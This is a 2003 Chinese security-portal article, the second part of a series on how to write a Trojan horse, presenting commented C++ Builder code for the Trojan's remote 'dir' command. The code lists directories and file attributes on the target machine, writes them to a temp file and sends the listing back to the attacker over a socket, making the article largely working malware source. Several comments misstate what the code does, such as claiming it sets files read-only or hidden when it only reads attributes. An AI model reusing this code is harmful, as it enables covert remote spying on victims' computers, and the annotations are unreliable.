您的位置:软件 > 网络安全 > 黑客技术 > 正文
木马是如何编写的(二)
[文章信息]
作者:周侃
时间:2003-07-25
出处:天极网络安全
责任编辑:
[文章导读]
上回我们讲到如何修改目标机上的启动配置文件,这回我们就来查看目标机上的目录树和文件吧......
advertisement
热点推荐
· 天极网软件频道改版调查
· 在ASP.NET程序中创建唯一序号
· 用JVM工具接口创建调试和分析代理
· Win 2000如何安装配置防火墙
· 防范Windows消息钩子的侵入
[正文]

1 2 3 4  下一页

  上回我们讲到如何修改目标机上的启动配置文件,这回我们就来查看目标机上的目录树和文件吧,这在客户端上使用“dir”命令,跟着敲啰:

{
else if(temp.SubString(0,3)=="dir")
{
  //如果前3个字符是“dir”
  int Read_Num;
  char * CR_LF="\n";
  int attrib;
  char *filename;
  DIR *dir;
  struct dirent *ent;
  int number=temp.Length();
  //得到字符串的长度
  AnsiString Dir_Name=temp.SubString(5,number-3);
  //从字符串第六个字符开始,将后面的字符存入Dir_Name变量,这是目录名
  if(Dir_Name=="")
   {
    //如果目录名为空
    Socket->SendText("Fail By Open DIR's Name");
    //返回“Fail By Open DIR's Name”信息
    goto END;
    //跳到END
   }
  char * dirname;
  dirname=Dir_Name.c_str();
  if ((dir = opendir(dirname)) == NULL)
   {
    //如果打开目录出错
    Socket->SendText("Fail by your DIR's name!");
    //返回“Fail By Your DIR's Name”信息
    goto END;
    //跳到END
   }
  times_of_try=0;
  while(fp==NULL)
   {
    //如果指针是NULL
    fp=fopen(TempFile,"w+");
    //就创建system\Win369.bat准备读和写;如果此文件已存在,则会被覆盖
    times_of_try=times_of_try+1;
    //计数器加1
    if(times_of_try>100)
      {
      //如果已经试了100次了,仍未成功(真有耐心!)
      Socket->SendText("Fail By Open File");
      //就发回“Fail By Open File”的错误信息
      goto END;
      //并跳到END处
      }
    }
   while ((ent = readdir(dir)) != NULL)
    {
     //如果访问目标目录成功
     if(*(AnsiString(dirname)).AnsiLastChar()!='\\')
     //如果最后一个字符不是“\”,证明不是根目录
     filename=(AnsiString(dirname)+"\\"+ent->d_name).c_str();
     //加上“\”字符后将指针指向目录流
     else
     filename=(AnsiString(dirname)+ent->d_name).c_str();
     //如果是根目录,则不用加“\”
     attrib=_rtl_chmod(filename, 0);
     //得到目标文件的访问属性
     if (attrib & FA_RDONLY)
     //“&”字符是比较前后两个变量,如果相同返回1,否则返回0
     fwrite(" R",sizeof(char),3,fp);
     //将目标文件属性设为只读
     else
     fwrite(" ",sizeof(char),3,fp);
     //失败则写入空格
     if (attrib & FA_HIDDEN)
     fwrite("H",sizeof(char),1,fp);
     //将目标文件属性设为隐藏
     else
     fwrite(" ",sizeof(char),1,fp);
     //失败则写入空格
     if (attrib & FA_SYSTEM)
     fwrite("S",sizeof(char),1,fp);
     //将目标文件属性设为系统
     else
     fwrite(" ",sizeof(char),1,fp);
     //失败则写入空格
     if (attrib & FA_ARCH)
     fwrite("A",sizeof(char),1,fp);
     //将目标文件属性设为普通
     else
     fwrite(" ",sizeof(char),1,fp);
     //失败则写入空格
     if (attrib & FA_DIREC)
     fwrite("

",sizeof(char),9,fp);
     //将目标文件属性设为目录
     else
     fwrite("     ",sizeof(char),9,fp);
     //失败则写入空格
     fwrite(ent->d_name,sizeof(char),strlen(ent->d_name),fp);
     //将目录名写入目标文件
     fwrite(CR_LF,1,1,fp);
     //写入换行
    }
    fclose(fp);
    //关闭文件
    closedir(dir);
    //关闭目录
    FILE *fp1=NULL;
    times_of_try=0;
    while(fp1==NULL)
     {
     fp1=fopen(TempFile,"r");
     //打开Win369.bat准备读
     times_of_try=times_of_try+1;
     //计数器加1
     if(times_of_try>100)
     {
       //如果已经试了100次了,仍未成功
       Socket->SendText("Fail By Open File");
       //就发回“Fail By Open File”的错误信息
       goto END;
       //并跳到END处
     }
     }
    AnsiString Return_Text="";
    char temp_content[300];
    for(int i=0;i<300;i++) temp_content[i]='\0';
    //定义的一个空数组
    Read_Num=fread(temp_content,1,300,fp1);
    //从目标文件中读入前300个字符
    while(Read_Num==300)
    {
     Return_Text=Return_Text+temp_content;
     //Return_Text变量加上刚才的300个字符
     for(int i=0;i<300;i++) temp_content[i]='\0';
     Read_Num=fread(temp_content,1,300,fp1);
     //重复
    };
    Return_Text=Return_Text+temp_content;
    //Return_Text变量加上刚才的300个字符
    fclose(fp1);
    //关闭目标文件
    Socket->SendText(Return_Text);
    //返回Return_Text变量的内容
  }

1 2 3 4  下一页

·"WAP天极之IT新闻资讯,50万元等你拿"    ·天极WAP之游戏狂图,50万元等你下载


发表评论推荐给朋友我想参加相关培训打印我对此感兴趣订阅电子杂志
相关内容阅读排行榜
  • 黑客常用兵器之木马篇
  • 木马是如何编写的(一)
  • OICQ窃取密码木马的详情
  • 黑软应用之木马
  • 主板超频特色技术GIGA技嘉篇
  • Win 2000如何安装配置防火墙
  • 防范Windows消息钩子的侵入
  • 性价比之选 AGP显卡的告别秀
  • 大学校园生活之聊天也疯狂
  • Fireworks制作GIF动画Banner
  • 金山打击外挂 遭网络游戏玩家起诉
  • 完全公测《开天》掀起滔滔巨浪
  • Advertisement

    天极无线
    待机彩图    >>更多
    多彩动画    >>更多
    美妙和弦    >>更多
    天使在唱歌
    壁虎漫步
    PrettyBoy
    LoveLoveLove
    我是你的小小狗
    单身情歌
    十面埋伏
    祝酒歌
    回心转意
    波斯猫
    太委屈
    S.H.E
    潘玮柏
    M2M
    蔡依林
    阿牛
    林志炫
    陈弈迅
    刀郎
    黑龙
    S.H.E
    陶晶莹
    情人玫瑰坊
    音乐风云
    新片速递
    神秘测试
    都市约会
    ·天极彩信天天精彩
    ·图铃梦工厂下载无限!
    ·找寻童真,卡通专题
    ·夏日激情交友社区!
    ·星座运程,预测人生

    CSEEK搜索